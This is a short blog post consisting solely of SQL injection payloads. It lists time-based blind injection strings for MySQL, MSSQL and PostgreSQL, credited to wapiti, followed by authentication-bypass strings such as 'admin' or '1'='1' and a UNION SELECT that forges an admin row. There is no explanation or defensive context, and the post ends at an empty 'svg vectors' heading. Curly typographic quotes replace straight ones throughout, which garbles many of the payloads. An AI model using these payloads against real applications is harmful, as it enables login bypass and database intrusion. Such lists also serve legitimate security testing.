Bug Rider
2 min readAug 9, 2021

Blind SQLi

# from

wapiti

sleep(__TIME__)#

1 or sleep(__TIME__)#

“ or sleep(__TIME__)#

‘ or sleep(__TIME__)#

“ or sleep(__TIME__)=”

‘ or sleep(__TIME__)=’

or sleep(__TIME__)#

“) or sleep(__TIME__)=”

‘) or sleep(__TIME__)=’

1)) or sleep(__TIME__)#

“)) or sleep(__TIME__)=”

‘)) or sleep(__TIME__)=’

;waitfor delay ‘0:0:__TIME__’ —

);waitfor delay ‘0:0:__TIME__’ —

‘;waitfor delay ‘0:0:__TIME__’ —

“;waitfor delay ‘0:0:__TIME__’ —

‘);waitfor delay ‘0:0:__TIME__’ —

“);waitfor delay ‘0:0:__TIME__’ —

));waitfor delay ‘0:0:__TIME__’ —

‘));waitfor delay ‘0:0:__TIME__’ —

“));waitfor delay ‘0:0:__TIME__’ —

benchmark(10000000,MD5(1))#

1 or benchmark(10000000,MD5(1))#

“ or benchmark(10000000,MD5(1))#

‘ or benchmark(10000000,MD5(1))#

1) or benchmark(10000000,MD5(1))#

“) or benchmark(10000000,MD5(1))#

‘) or benchmark(10000000,MD5(1))#

1)) or benchmark(10000000,MD5(1))#

“)) or benchmark(10000000,MD5(1))#

‘)) or benchmark(10000000,MD5(1))#

pg_sleep(__TIME__) —

1 or pg_sleep(__TIME__) —

“ or pg_sleep(__TIME__) —

‘ or pg_sleep(__TIME__) —

1) or pg_sleep(__TIME__) —

“) or pg_sleep(__TIME__) —

‘) or pg_sleep(__TIME__) —

1)) or pg_sleep(__TIME__) —

“)) or pg_sleep(__TIME__) —

‘)) or pg_sleep(__TIME__) —

SQli

‘-’

‘ ‘

‘&’

‘^’

‘*’

‘ or ‘’-’

‘ or ‘’ ‘

‘ or ‘’&’

‘ or ‘’^’

‘ or ‘’*’

“-”

“ “

“&”

“^”

“*”

“ or “”-”

“ or “” “

“ or “”&”

“ or “”^”

“ or “”*”

or true —

“ or true —

‘ or true —

“) or true —

‘) or true —

‘ or ‘x’=’x

‘) or (‘x’)=(‘x

‘)) or ((‘x’))=((‘x

“ or “x”=”x

“) or (“x”)=(“x

“)) or ((“x”))=((“x

or 1=1

or 1=1 —

or 1=1#

or 1=1/*

admin’ —

admin’ #

admin’/*

admin’ or ‘1’=’1

admin’ or ‘1’=’1' —

admin’ or ‘1’=’1'#

admin’ or ‘1’=’1'/*

admin’or 1=1 or ‘’=’

admin’ or 1=1

admin’ or 1=1 —

admin’ or 1=1#

admin’ or 1=1/*

admin’) or (‘1’=’1

admin’) or (‘1’=’1' —

admin’) or (‘1’=’1'#

admin’) or (‘1’=’1'/*

admin’) or ‘1’=’1

admin’) or ‘1’=’1' —

admin’) or ‘1’=’1'#

admin’) or ‘1’=’1'/*

1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’, ‘81dc9bdb52d04dc20036dbd8313ed055

admin” —

admin” #

admin”/*

admin” or “1”=”1

admin” or “1”=”1" —

admin” or “1”=”1"#

admin” or “1”=”1"/*

admin”or 1=1 or “”=”

admin” or 1=1

admin” or 1=1 —

admin” or 1=1#

admin” or 1=1/*

admin”) or (“1”=”1

admin”) or (“1”=”1" —

admin”) or (“1”=”1"#

admin”) or (“1”=”1"/*

admin”) or “1”=”1

admin”) or “1”=”1" —

admin”) or “1”=”1"#

admin”) or “1”=”1"/*

1234 “ AND 1=0 UNION ALL SELECT “admin”, “81dc9bdb52d04dc20036dbd8313ed055

svg vectors